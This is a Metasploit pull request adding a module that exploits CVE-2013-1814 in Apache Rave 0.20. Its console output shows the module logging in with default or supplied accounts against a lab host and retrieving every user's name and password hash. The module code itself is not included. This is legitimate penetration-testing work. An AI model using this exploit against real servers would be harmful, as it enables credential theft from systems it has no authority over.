rapid7/metasploit-framework — pull request #2088 by jvazquez-r7 (2013-07-09 17:46:28+00:00)
Title: Add module for CVE-2013-1814

This module abuses the information disclosure CVE-2013-1814 on Apache Rave 0.20 to retrieve a full list of usernames and hashes. Authentication is required. The user can provide his own credentials, but the module also has available a list of default users and passwords installed with Rave 0.20.

Rave 0.20 (binary distribution) can be downloaded from here: http://archive.apache.org/dist/rave/binaries/apache-rave-0.20-bin.tar.gz

Tested successfully on Ubuntu 10.04 (binary distribution):

* With default credentials:

```
msf auxiliary(apache_rave_creds) > run

[*] 192.168.172.143:8080 - Fingerprinting...
[+] 192.168.172.143:8080 - Apache Rave 0.20 found. Vulnerable. Proceeding...
[*] 192.168.172.143:8080 - Login with default accounts...
[*] 192.168.172.143:8080 - Login with the canonical default account...
[+] 192.168.172.143:8080 - Login successful. Proceeding...
[*] 192.168.172.143:8080 - Disclosing information...
[+] 192.168.172.143:8080 - Disclosure successful
[*] 192.168.172.143:8080 - Information saved in: /Users/juan/.msf4/loot/20130709123549_apache_rave_192.168.172.143_apache.rave.user_475883.bin
[*] 192.168.172.143:8080 - Recovering Hashes...
[*] Auxiliary module execution completed
msf auxiliary(apache_rave_creds) > creds

Credentials
===========

host port user pass type active?
---- ---- ---- ---- ---- -------
192.168.172.143 8080 four.col $2a$10$tZgWcaG2EJPLtseZ339n7uTu3GZn31h3iTr20orwgbbRAI15uoIFK password true
192.168.172.143 8080 fourwn.col $2a$10$4kPYhgowurWqXGVDigxOxOVj/M.rqLRwqbn0kT/OD4pISL6pDG/c2 password true
192.168.172.143 8080 george.doe $2a$10$0bcOUkQgAwE/qmdc1NcUveNzx/IYIcOUu4ydyT8DEicTCxGJF/vcW password true
192.168.172.143 8080 jane.doe $2a$10$YP9cjZEA.gG/ng2YwTBIyucMpuiQ7Fvz0K8rOt14rIBhVwlOrh1tu password true
192.168.172.143 8080 john.doe $2a$10$8Dir7boy3UyVqy6erfj6WuQXUTf.ejTldPSsVIty7.pPT3Krkly26 password true
192.168.172.143 8080 johnldap $2a$10$R6xUi6HWLxHrV7Zl6bt4CeV5e2BZPiKu5JEC.Csfw9jVcv3SCdDZq password true
192.168.172.143 8080 juan $2a$10$eGg/MHlp.MBjnRBE27UwM.viwGpvg9h2HwJf4YByQJiSve7mSOkj2 password true
192.168.172.143 8080 juan2 $2a$10$jQfWaY/Dn7s0Zr/oA4.zvualnPuQYFsmi4dlFJGE/wFsFYqqf.KyW password true
192.168.172.143 8080 maija.m $2a$10$3feYdjrW40hkqP4/xupKP.YMgdYmDsZZus./vK4FbBs9QZG2.FuNC password true
192.168.172.143 8080 mario.rossi $2a$10$HZ6WHAKQCs8waLooL98l6.fLzwh3D8u/V0.UebIjojawfXJhX1DQ2 password true

msf auxiliary(apache_rave_creds) > services

Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
192.168.172.143 8080 tcp apache rave open

```

* With bad user provided credentials (module tries the default ones if the user provided fails):

```
msf auxiliary(apache_rave_creds) > set USERNAME test
USERNAME => test
msf auxiliary(apache_rave_creds) > set PASSWORD test2
PASSWORD => test2
rmsf auxiliary(apache_rave_creds) > run

[*] 192.168.172.143:8080 - Fingerprinting...
[+] 192.168.172.143:8080 - Apache Rave 0.20 found. Vulnerable. Proceeding...
[*] 192.168.172.143:8080 - Login with the provided credentials...
[-] 192.168.172.143:8080 - Login failed.
[*] 192.168.172.143:8080 - Login with default accounts...
[*] 192.168.172.143:8080 - Login with the canonical default account...
[+] 192.168.172.143:8080 - Login successful. Proceeding...
[*] 192.168.172.143:8080 - Disclosing information...
[+] 192.168.172.143:8080 - Disclosure successful
[*] 192.168.172.143:8080 - Information saved in: /Users/juan/.msf4/loot/20130709123639_apache_rave_192.168.172.143_apache.rave.user_075723.bin
[*] 192.168.172.143:8080 - Recovering Hashes...
[*] Auxiliary module execution completed

```

* User provided correct credentials

```
msf auxiliary(apache_rave_creds) > set USERNAME juan
USERNAME => juan
msf auxiliary(apache_rave_creds) > set PASSWORD juan
PASSWORD => juan
msf auxiliary(apache_rave_creds) > run

[*] 192.168.172.143:8080 - Fingerprinting...
[+] 192.168.172.143:8080 - Apache Rave 0.20 found. Vulnerable. Proceeding...
[*] 192.168.172.143:8080 - Login with the provided credentials...
[+] 192.168.172.143:8080 - Login successful. Proceeding...
[*] 192.168.172.143:8080 - Disclosing information...
[+] 192.168.172.143:8080 - Disclosure successful
[*] 192.168.172.143:8080 - Information saved in: /Users/juan/.msf4/loot/20130709123653_apache_rave_192.168.172.143_apache.rave.user_928273.bin
[*] 192.168.172.143:8080 - Recovering Hashes...
[*] Auxiliary module execution completed

```